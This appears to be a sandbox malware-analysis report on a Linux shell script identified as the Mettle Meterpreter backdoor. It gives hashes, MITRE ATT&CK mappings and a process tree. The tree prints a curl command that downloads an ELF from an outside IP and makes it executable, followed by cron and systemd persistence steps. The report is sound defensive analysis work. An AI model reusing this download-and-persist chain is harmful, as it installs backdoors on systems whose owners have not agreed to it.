mettle | 75f1acc1a43b319031abd03d6d6d14241e0574c50e6bc6e553201348cf8d3873

Analysis

max time kernel
8s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/08/2026, 17:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.sh
Size 5KB
Sample260831-v6vlbaxeqa
SHA256 75f1acc1a43b319031abd03d6d6d14241e0574c50e6bc6e553201348cf8d3873
MD5 30103ce5ad4083919d894367c63f1a78
SHA1 e9567b611bf469b037ef974ad53b049b0b1189db
SHA512 c5fe028306317ffb91c81eef6d8c736c99ad8c27235e103e58ff3c8ee64ceea56f1685f92de0a40f91e523a65c05da97351e96b2296d3cdb7f5c6b81520c8eee
SSDEEP 96:Lq1QkRnjKViHyBOR0K0asck34mULf0xlA4jGJF8Ugj0hGBWvyyZRf:Lq1BmViHYOX0aiom60LGJFFi2cPyZRf
TLSH
T108B1C817EE0A85331DEBF0624647B341F634000E6608B5B638FDA018DAF998E01FDD7A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm backdoor defense_evasion discovery execution mettle persistence privilege_escalation

Malware Config

Signatures

Family: Mettle
Mettle is an open-source Meterpreter payload for Linux.
backdoor mettle

Detects Mettle payload 1 IoCs

resource	yara_rule
behavioral2/files/fstream-3.dat	family_mettle

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod
691	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.62Ez6K	crontab

Modifies systemd 2 TTPs 2 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/test-elf-monitor.service	test.sh
File opened for modification	/etc/systemd/system/test-elf-daemon.service	test.sh

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.FYv7Ue	test.sh
File opened for modification	/tmp/sh-thd.zgzwC1	test.sh
File opened for modification	/tmp/sh-thd.eQ2dJ2	test.sh
File opened for modification	/tmp/sh-thd.AvsaZW	test.sh

/tmp/test.sh
/tmp/test.sh
1⤵
- Modifies systemd
- Writes file to tmp directory
PID:650
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:656
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:658
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:664
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:665
- /usr/bin/curl
  curl -s -o /var/test.elf http://64.89.163.22/test.elf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:670
- /bin/chmod
  chmod +x /var/test.elf
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:685
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:686
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:688
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:689
- /bin/cat
  cat
  2⤵
  PID:690
- /bin/chmod
  chmod +x /var/check_test_elf.sh
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:693
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:694
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:696
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:697
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:699
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:700
- /bin/grep
  grep -v /var/check_test_elf.sh
  2⤵
  PID:701
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:703
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:704
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:706
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:707
- /bin/cat
  cat
  2⤵
  PID:708
- /bin/cat
  cat
  2⤵
  PID:709
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:710
- /bin/systemctl
  systemctl enable test-elf-monitor.timer
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:723
- /bin/systemctl
  systemctl start test-elf-monitor.timer
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:748
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:756
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:757
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:760
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:762
- /bin/cat
  cat
  2⤵
  PID:768
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:773
- /bin/systemctl
  systemctl enable test-elf-daemon.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:800
- /bin/systemctl
  systemctl start test-elf-daemon.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:828
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:833
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:834
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:837
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:840
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:847
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:848
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:850
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:851
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:853
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:854
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:856
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:857

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

test-elf-daemon.service

Path /etc/systemd/system/test-elf-daemon.service
Size 260B
SHA256 d4ec08c58b679c07ba10d6cd3281a89a3cecf34deff165b7ab71743ff8bb8896
MD5 2e7d2c61a6bfef20fc05c4d256008395
SHA1 9c780a47deba64c210049b7817d8814c24c8367f
SHA512 a46b06bc7da097299d986d1ab6d3684cbe75738eb7e254f34f2b987dd700c4391160723ce051c50da2dccdb07aecc02424c31a965c3664e0e42eec2835b3a0fa
TLSH
T1CAD09513957135B48D453DF1DE779F605D50D6444FCF72310BE0EA6528D1149505789E
MD5 SHA1 SHA512 TLSH

Submit Download

test-elf-monitor.service

Path /etc/systemd/system/test-elf-monitor.service
Size 101B
SHA256 15293483a1ebdbbc5af690f65634bab52ad2837e3b5f9bb3e1e07de1492f9e6f
MD5 a77b5af0e65647f1f09e58ca6738b935
SHA1 1d55b6d27838245995c1e7265c6fc578ffb175ce
SHA512 6073d9192abfefb5df663e3ad1f53393e57ae233b556f7466e116f812e8c99cc433ece4ab05d1f6aa870bedb6da2716458ed7c10c6295907c42567df6e826ab2
TLSH
T1ACB012215C5B566654C535739E249A42B8748B082B89097227F86005AFC1E8A9043EC9
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.FYv7Ue

Path /tmp/sh-thd.FYv7Ue
Size 720B
SHA256 6f735846f7f012cdfc0e46420e7d1af49d9c4aaa762c89f64cb5da122bc81259
MD5 b5e211235c7ad6f7e3416e84305c89da
SHA1 8880331eb767b217e83229912ff2b85741f65691
SHA512 afdd408b5261ac33fe276f43e3e85ecc4116630022ab50109736aedcab9255e3d73b5c4ff3fced6bb9f2cd21ffbf478db40abf07dde334bb1409f04b3cd5eda3
TLSH
T1D101150B770186E17DEC122306BE51A2777B501B5054E56930ADF0D87F3C00264FD635
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 40B
SHA256 2d873f77046c097ffedb9e27c5886503ac2884acd7bc7166fa50df0ef32f1f26
MD5 49359aab7a5272b9139c82a23cc49250
SHA1 4dc59e06824440b81e9dc895e0a1fb2fd503a169
SHA512 d691920b534dfe32133940bec6475b76c627d0fff612fff9947764d4f2f050b146610b280ec3fd743d18192bdf0b3050b4622c0facfb16a146d88a8ce9028569
MD5 SHA1 SHA512

Submit Download

monitor.log

Path /var/monitor.log
Size 1KB
SHA256 1dd2ef69999cb90be971b96a5f7cc85c6db3d767a89a24453b613e64f95cb842
MD5 5cbd709222f1a0dbfbb5e247dfb1f945
SHA1 cbb63ad150f5d9e02c0742ee5c830b40f0c51cc5
SHA512 bf00157b5287f271a010de4eecd6af554c40fc2d5f19fa6037ae2ef961c755c332f8aa56710050ea91d2724e64f7c631c47ed7a34f7a76b6a7e2ac5a47f9507a
TLSH
T108313A09C5FB30BEDC9756B9C0253FCA2A5430061709BC623BF4505492E28EB8BA3D29
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 107B
SHA256 f707175f6a46a5661b463a07b1fb5b2ec7d112c2b4d4edce92cbc52e169948d4
MD5 057d0031858ba0c2abd35f89797df531
SHA1 ab80d12766e5ff8f4d911707b51dd42a300daf3c
SHA512 268b1b170d87bf541c67edd9f3236e0bb240b8db308ca405fa84ba1791aaaf5064d710af98afea1fa0e89dc223d472ba665c3b4f59258e05d51e3c7c9ba341cf
TLSH
T179B012058DD329FD0E6704C8443529D75E1030021341ECCB07F00404B1B24FA1C22412
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 175B
SHA256 8a71d7e8604e9baf5ab2d0aba4625ebe5310276990e932d12d56d5acff2f0ee6
MD5 209d2e7b605f0708c44355850e62b2a5
SHA1 ef5e3d9e1dfc1b26b8bfb3defb07bdab175de22d
SHA512 9598b7f04ced89cdf37f3d06092414327f58d905ac3d95a6a651e7106ec4f67eae1fc4576d3a32f4b798afaf8fdc0922f4ad00c5ba98b03889fbd8af0b4a9e05
TLSH
T1D3C0800545E335FD0DD748D4843435C75E11300217059CDB77F01444A2F54F54C65513
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 245B
SHA256 06b3659da26c14a5746a8a491d939b06dfeb3bae5bbe8663fb1b2d55c3782994
MD5 f8efd16ccda292001350a8a6cc3b76a8
SHA1 232391bb2f5673c56f0b2f134f698417b6751524
SHA512 871474460dc7d1b24b09a4f7f6fb6a043b78e2316d6b869fa579cab37478131ababc6c36b12f23a7c17a5a43d0eaa2193c76b9c2354d44eb56b67b6075f8c2b8
TLSH
T1F0D0A70589EB35FE0DD708A8C43965CB2D11700227459CAB3FF0244462E64F64D63D16
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 311B
SHA256 2e64bd36b42aae8cfb4f13c021d909ea0a055c50cc0a68b08f7cf74065710c4f
MD5 6f3aa2958bd9f5a7c83ef7a565fd112b
SHA1 179710929f870ff580906d3c3c6dba0aa08530e1
SHA512 f2efa0c8eaa3e83ad94c26ab62f8d27635ceddfa2a85c7ca873f686d95f200361dd93a09e659a8b48854f3e04f66863bff37cddeddb6d90646d405784ff071e8
TLSH
T197E0CD0589D775FE0DD708A4C43575CB1D4170023745DCA73FF0504462D68F94D57D16
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.62Ez6K

Path /var/spool/cron/crontabs/tmp.62Ez6K
Size 175B
SHA256 29380cc20b3b34b419278f8e9b59f621a24aeb702e4e2f5affadd4ef105dd819
MD5 c1ab614924402a6d096278df970e54f8
SHA1 96527f98a3dbf4e01b605e45defae5aeedab156a
SHA512 816b620848c0c414c3f74fbe8824aebed43055a782bc75ef1645121b2d39c1fe955179afc1fdd4c2690e23c1d2d4f407b6a62d755e83f6d75bbba8ff85c71ebe
TLSH
T1FDC0C00D3F0038301E000705101F011C6941A07DC10FFF01D0DC000803036DD3B91C31
MD5 SHA1 SHA512 TLSH

Submit Download

test.elf

Path /var/test.elf
Size 1.1MB
SHA256 d8c3b7036cc3a1e8bdc461cc15e28f1e3cde3fba4a62fc983f4e9ada65588f31
MD5 dfd2e56d190ff65e3ea9788b5c644b7a
SHA1 fe7c3f9c251d2b7fc225441d6311e3ae71be43c9
SHA512 a6677a2ea483ba2a61adceb76bba230377661cbdfcf989fd9fb7bb70d56f83e490c11078e5e40de83f0e6a498ebef861e3e47703b7f587af78c01979e5524701
SSDEEP 24576:wA02G4dDtanDquV+gtV8R0OcvrTudcKEj0hi/djV:y4dDtaDqCV8RrkT5JMiL
TLSH
T16B357E0BAA9504BEC5F5C4B0875FC233AF71B4895212367B2694EA303E67E346F1E791
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads